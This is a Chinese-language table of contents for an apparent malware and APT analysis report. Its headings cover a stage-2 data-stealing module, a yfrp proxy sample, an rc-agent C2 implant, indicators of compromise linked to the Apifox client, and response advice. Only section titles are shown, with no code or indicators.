    • 4.2 Stage-2(collectAddInformations 模块)
      • 窃取内容
    • 4.3 未知载荷动态执行能力
  • 五、yfrp内网代理样本分析
    • 5.1 基础设施架构
    • 5.2 yfrp客户端样本
      • 5.2.1 frpc客户端文件样本
      • 5.2.2 二进制逆向分析(Linux amd64样本)
      • 5.2.3 frpc配置提取分析
    • 5.3 yfrp控制面板
  • 六、rc-agent C2远控样本分析
    • 6.1 基础设施架构
    • 6.2 rc-agent远控植入脚本
    • 6.3 rc-agent远控样本文件
    • 6.4 rc-agent C2逆向分析
  • 七、总结
    • 7.1 APT狩猎与溯源分析
    • 7.2 AI 辅助分析方法
  • 八、IoC失陷指标
    • 8.1 网络IoC
    • 8.2 木马样本IoC
    • 8.3 Apifox客户端失陷IoC
  • 九、应急处置建议
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档